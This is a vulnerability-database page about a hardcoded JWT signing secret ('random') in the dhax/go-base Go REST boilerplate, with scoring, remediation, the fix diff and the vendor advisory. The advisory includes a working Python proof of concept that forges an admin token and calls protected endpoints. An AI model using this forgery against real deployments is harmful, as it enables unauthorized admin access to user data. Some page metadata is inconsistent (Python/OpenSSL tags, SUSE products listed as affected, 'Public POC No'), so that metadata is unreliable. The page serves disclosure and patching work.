What is the CVSS score of EUVD-2026-52408?

EUVD-2026-52408 has a CVSS 3.1 base score of 9.1 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. EPSS exploitation probability: 0.1%.

How to fix or mitigate EUVD-2026-52408?

Within 24 hours: Identify and inventory all applications using dhax/go-base template; determine deployed versions and which systems are publicly exposed. Within 7 days: Apply patch (update to commit cc82b974 or later); rotate all JWT signing secrets from the hardcoded default 'random' to unique, strong values per environment. Within 30 days: Deploy automated source code scanning for hardcoded credentials; perform security architecture review of all microservice authentication systems.

go-base EUVD-2026-52408

| CVE-2026-48031 CRITICAL

Use of Hard-coded Credentials (CWE-798)

2026-06-10 https://github.com/dhax/go-base

GHSA-mqq6-462x-jxmm

Authentication Bypass Python PostgreSQL OpenSSL

9.1

CVSS 3.1 · Vendor: https://github.com/dhax/go-base

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Identify go-base-derived API endpoint
Delivery

Read hardcoded 'random' secret from public repo
Exploit

Forge HS256 JWT with admin claims
Execution

Send Bearer token to protected endpoint
Persist

Refresh token to maintain access
Impact

Exfiltrate or modify user data

Vulnerability Assessment

Weakness	CWE CWE-798 OWASP Top 10:2025 A07:2025 - Authentication Failures ASVS 5.0 V6 - Authentication Credential externalization MITRE ATT&CK 2 techniques across 2 tactics: Persistence, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	The target must be a running deployment of dhax/go-base (or a downstream fork) whose AUTH_JWT_SECRET configuration value resolves to the literal string 'random' - either because the operator copied dev.env unchanged, omitted the variable entirely so the Viper default in cmd/serve.go:35 takes effect, or otherwise failed to override it. The JWT auth endpoints (e.g., /api/v1/me, /api/v1/admin/*, /api/v1/token/refresh) must be network-reachable to the attacker. No authentication, no user interaction, and no special configuration beyond the default are required (CVSS AV:N/AC:L/PR:N/UI:N). Exploitation is limited where operators have already rotated AUTH_JWT_SECRET to a strong value, where the prior in-memory auto-replacement happened to be active and the server has been running long enough that tokens are signed with the ephemeral key (in which case the attacker must instead predict that ephemeral key, which is infeasible), or where the API is not exposed beyond a trusted network.
Impact	CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) reflects fully remote, unauthenticated, low-complexity exploitation with high confidentiality and integrity impact and no availability impact - consistent with token forgery rather than service disruption. No EPSS score, CISA KEV listing, or SSVC decision data is supplied, so widespread exploitation cannot be confirmed; however, publicly available exploit code exists (a working Python PoC is published in the advisory) and the signing secret is literally visible in the public source repository, making practical exploitation trivial against any deployment that retained the default. Real-world risk is constrained by deployment footprint: go-base is a boilerplate/template, so exposure depends on how many downstream forks actually shipped to production without rotating AUTH_JWT_SECRET. Defenders should treat any internet-exposed go-base-derived API as high priority despite the lack of KEV signal.
Exploit ScenarioDerived	An attacker enumerates internet-exposed APIs derived from go-base, reads the public repository to recover the hardcoded HS256 secret 'random', and uses the published Python PoC (PyJWT-based) to mint a JWT with claims such as sub=admin@example.com and roles=['admin'] and an arbitrarily distant expiry. They then submit the forged Bearer token to admin endpoints like /api/v1/admin/users to enumerate accounts and to /api/v1/token/refresh to obtain fresh tokens, achieving persistent admin-level access without ever interacting with login or password reset flows.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.

Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

Authentication bypass in dhax/go-base Go REST API boilerplate (versions prior to commit cc82b974, merged May 17, 2026) allows remote unauthenticated attackers to forge JWT tokens for arbitrary users including administrators. The signing secret is hardcoded to the literal string 'random' in both the dev.env template and as a Viper default in cmd/serve.go, and publicly available exploit code exists in the advisory. No CISA KEV listing or EPSS data is provided, but the secret is trivially derivable from the public GitHub repository.

RemediationAI

Upgrade to the fixed Go pseudo-version 0.0.0-20260517152733-cc82b9740fa6 or later by pulling the current master, which includes PR #31 (https://github.com/dhax/go-base/pull/31) and commit cc82b9740fa6b08e0fad409cd4b418e240dd0e00; the fix replaces the single-value check with a known-weak-secrets denylist ('random', 'secret', 'changeme', 'change-me', 'default', empty), enforces a 32-character minimum, removes non-persistent auto-generation, and instructs operators to set AUTH_JWT_SECRET to the output of 'openssl rand -base64 64'. After patching, rotate AUTH_JWT_SECRET to a strong value and restart, which will invalidate all existing tokens (including any forged ones) and force users to re-authenticate. If immediate patching is not possible, set a strong AUTH_JWT_SECRET environment variable to override the Viper default and audit dev.env for the literal 'random'; note this is a configuration-only mitigation that does not address the underlying code defect and depends on every operator and CI environment overriding the default. Consult the vendor advisory at https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm for full guidance.

Affected VersionsENISA

go-base 2026-05-18

Affected Packages

go github.com/dhax/go-base fix: 0.0.0-20260517152733-cc82b9740fa6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is github.com/dhax/go-base, a Go REST API scaffolding project (1,685 stars) built on go-chi/jwtauth/v5, Viper for configuration, and PostgreSQL/Bun. The root cause is CWE-798 (Use of Hard-coded Credentials): the HMAC-SHA256 JWT signing key defaults to the string 'random' both in the shipped dev.env file (line 10) and as a programmatic Viper default in cmd/serve.go:35. A prior in-code mitigation in auth/jwt/tokenauth.go:22-25 only checked the exact literal 'random' and replaced it with a non-persistent randomly-generated 32-byte key, which failed open against other weak secrets (e.g., 'secret', 'changeme', empty string) and additionally caused session-wide invalidation on every restart. The CPE pkg:go/github.com_dhax_go-base identifies the affected Go module.

Know when PostgreSQL gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/dhax/go-base) PRIMARY 9.1 CRITICAL

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SUSE CRITICAL

Primary rating from Vendor (https://github.com/dhax/go-base).

CVSS VectorVendor: https://github.com/dhax/go-base

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

DescriptionCVE.org

Vulnerability: CWE-798 - Hardcoded JWT Secret + Broken Mitigation

Affected Component

github.com/dhax/go-base - Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
1,685 stars on GitHub

Vulnerability Locations

File	Line	Role
`dev.env`	10	`AUTH_JWT_SECRET=random` - template default shipped to all users
`cmd/serve.go`	35	`viper.SetDefault("auth_jwt_secret", "random")` - code-level fallback
`auth/jwt/tokenauth.go`	22-25	Weak mitigation: only checked literal `"random"`, auto-generated non-persistent key
`auth/jwt/tokenauth.go`	28	`jwtauth.New("HS256", []byte(secret), nil)` - creates JWT signer with the weak key
`pwdless/api.go`	203	`GenTokenPair()` - issues access + refresh tokens signed with the weak key

Data Flow

dev.env AUTH_JWT_SECRET=random
  OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
    │
    ▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
    │
    ▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
    │
    ▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
    │
    ▼
jwt/authenticator.go: Every authenticated request trusts the forged token

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

dev.env:10 - The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.
cmd/serve.go:35 - viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

(a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
(b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

python

import jwt
import requests
# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token
payload = {
    "sub": "admin@example.com",
    "roles": ["admin"],
    "iat": 9999999000,
    "exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")
# 200 OK
# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")
# Returns admin@example.com profile
# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret

Impact

Authentication Bypass: Forge tokens for any user, including admin roles
Confidentiality: Access all user data, profiles, and protected resources
Integrity: Modify any data accessible via the API
Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR #31)

The fix replaced the single-value check with a comprehensive approach:

// BEFORE (tokenauth.go:22-25) - weak, single-value check
if secret == "random" {
    secret = randStringBytes(32) // non-persistent, breaks on restart
}

// AFTER - comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
    "random": true,
    "secret": true,
    "changeme": true,
    "change-me": true,
    "default": true,
    "": true,
}

if knownWeakSecrets[secret] {
    log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}

Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.

Patched Versions

All versions after commit range including PR#31 (merged May 17, 2026).
Users should update to the latest master, regenerate their JWT secret, and restart.

Resources

Fix PR: https://github.com/dhax/go-base/pull/31
Commit history: https://github.com/dhax/go-base/commits/master

Credit

Reported by @saaa99999999 via manual security audit.

Articles & Coverage 5

News 7 New Python Vulnerabilities - 1 Critical, 6 High Severity Jun 11, 2026 News 4 New PostgreSQL Vulnerabilities - 2 Critical, 2 High Severity Jun 11, 2026 News 6 New Python Vulnerabilities - 1 Critical, 5 High Severity Jun 10, 2026 News 3 New PostgreSQL Vulnerabilities - 1 Critical, 2 High Severity Jun 10, 2026 News Critical Authentication Bypass in OpenSSL - CVE-2026-48031 Jun 10, 2026

Executive ViewAI

Why It Matters

Applications built with dhax/go-base REST API boilerplate are vulnerable to remote authentication bypass that allows attackers to forge administrative JWT tokens without credentials; publicly available exploit code exists. This exposes all customer-facing services, internal tools, and data systems to unauthorized access and privilege escalation. Organizations must immediately identify affected deployments and apply the available patch to prevent credential forgery and account takeover incidents.

Business Impact: Severe

Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score

0.1%

Top 82% exploitable

Threat Intel

1 source

Social Media

Sightings

Data Quality

7 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS GHSA Vendor CIRCL

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity CRITICAL

CISA KEV No

Public POC No

EPSS 0.1%

Patch available Yes

Active threat No

Deciding rule

CRITICAL severity

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Out-of-Cycle

Exploitation· derived

None

System Exposure· derived

Open

Automatable· derived

Yes

Human Impact

Very High

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +46

PoC: 0

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Authentication Bypass CRITICAL

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Same weakness CWE-798 – Use of Hard-coded Credentials

View all

CVE-2016-1560 CRITICAL POC

9.8

CVE-2017-14143 CRITICAL POC

9.8

CVE-2025-14611 HIGH POC

7.1

CVE-2026-22769 CRITICAL

10.0

CVE-2016-5678 CRITICAL POC

9.8

CVE-2017-6558 CRITICAL POC

9.8

CVE-2015-7246 CRITICAL POC

9.8

CVE-2015-4667 CRITICAL POC

9.8

Same technique Authentication Bypass

View all

CVE-2015-3306 CRITICAL POC

10.0

CVE-2023-22515 CRITICAL POC

9.8

CVE-2012-4681 CRITICAL POC

9.8

CVE-2013-2465 CRITICAL POC

9.8

CVE-2011-3544 CRITICAL POC

9.8

CVE-2022-40684 CRITICAL POC

9.8

CVE-2025-61882 CRITICAL POC

9.8

CVE-2024-0012 CRITICAL POC

9.3

Vendor StatusVendor

SUSE

Severity: Critical

Product	Status
SUSE Linux Enterprise Server 16.1	Affected
SUSE Linux Enterprise Server for SAP applications 16.1	Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5	Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6	Affected
openSUSE Leap 15.5	Affected

References

Advisories & patches

PATCH https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00 ADVISORY https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm ADVISORY https://vuldb.com/vuln/385652 REF https://github.com/advisories/GHSA-mqq6-462x-jxmm REF https://github.com/dhax/go-base/pull/31

Search Externally

GitHub PoC

Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC

Back

go-base EUVD-2026-52408

Attack ChainAIDerived

Vulnerability Assessment

AnalysisAIv1 – Jun 10, 2026

RemediationAI

Affected VersionsENISA

Affected Packages

Affects your stack

Know when PostgreSQL gets its next vulnerability

Severity by source

CVSS VectorVendor: https://github.com/dhax/go-base

DescriptionCVE.org

Vulnerability: CWE-798 - Hardcoded JWT Secret + Broken Mitigation

Affected Component

Vulnerability Locations

Data Flow

Description

Proof of Concept

Impact

Fix (PR #31)

Patched Versions

Resources

Credit

Articles & Coverage 5

Executive ViewAI

Threat Intelligence Overview

How this decision was reached

SSVC AssessmentENISA

Priority Score

Attack Technique

More in PostgreSQL

Same weakness CWE-798 – Use of Hard-coded Credentials

Same technique Authentication Bypass

Vendor StatusVendor

SUSE

References

Search Externally